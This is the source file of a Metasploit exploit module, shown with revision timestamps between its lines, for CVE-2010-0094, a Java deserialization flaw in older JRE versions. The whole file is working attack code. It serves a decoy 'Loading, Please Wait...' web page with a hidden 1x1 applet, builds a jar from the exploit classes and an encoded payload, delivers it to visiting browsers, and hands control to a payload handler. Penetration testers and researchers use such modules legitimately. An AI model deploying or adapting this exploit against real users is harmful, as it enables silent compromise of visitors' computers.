2010-09-08 08:20:55 +00:00
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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2012-02-21 01:40:50 +00:00
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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2010-09-08 08:20:55 +00:00
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##
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require 'msf/core'
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require 'rex'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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#
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# Superceded by java_trusted_chain
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#
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#include Msf::Exploit::Remote::BrowserAutopwn
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#autopwn_info({ :javascript => false })
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def initialize( info = {} )
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super( update_info( info,
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2012-02-21 01:25:55 +00:00
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'Name' => 'Java RMIConnectionImpl Deserialization Privilege Escalation',
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2010-09-08 08:20:55 +00:00
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'Description' => %q{
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This module exploits a vulnerability in the Java Runtime Environment
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that allows to deserialize a MarshalledObject containing a custom
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classloader under a privileged context. The vulnerability affects
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version 6 prior to update 19 and version 5 prior to update 23.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Sami Koivu', # Discovery
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'Matthias Kaiser', # PoC
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'egypt' # metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2010-0094' ],
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[ 'OSVDB', '63484' ],
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[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-rmiconnectionimpl-deserialization.html' ],
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],
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'Platform' => [ 'java' ],
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'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
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'Targets' =>
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[
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[ 'Generic (Java Payload)',
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{
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'Arch' => ARCH_JAVA,
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Mar 31 2010'
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))
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end
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def on_request_uri( cli, request )
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if not request.uri.match(/\.jar$/i)
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if not request.uri.match(/\/$/)
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send_redirect(cli, get_resource() + '/', '')
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return
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end
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2012-04-20 19:31:42 +00:00
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print_status("#{self.name} handling request")
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2010-09-08 08:20:55 +00:00
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send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
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return
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end
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paths = [
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[ "Exploit.class" ],
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[ "Exploit$1.class" ],
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[ "Exploit$1$1.class" ],
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[ "Exploit$2.class" ],
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[ "Payloader.class" ],
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[ "PayloadClassLoader.class" ],
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[ "payload.ser" ],
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]
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2010-09-27 00:09:17 +00:00
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p = regenerate_payload(cli)
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jar = p.encoded_jar
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2010-09-08 08:20:55 +00:00
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paths.each do |path|
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1.upto(path.length - 1) do |idx|
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full = path[0,idx].join("/") + "/"
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if !(jar.entries.map{|e|e.name}.include?(full))
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jar.add_file(full, '')
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end
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end
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fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-0094", path ), "rb")
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data = fd.read(fd.stat.size)
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jar.add_file(path.join("/"), data)
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fd.close
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end
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2012-04-20 19:31:42 +00:00
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print_status("Sending Applet.jar")
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2010-09-08 08:20:55 +00:00
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send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })
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handler(cli)
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end
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def generate_html
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html = "<html><head><title>Loading, Please Wait...</title></head>"
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html += "<body><center><p>Loading, Please Wait...</p></center>"
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html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
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html += "</applet></body></html>"
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return html
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end
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end
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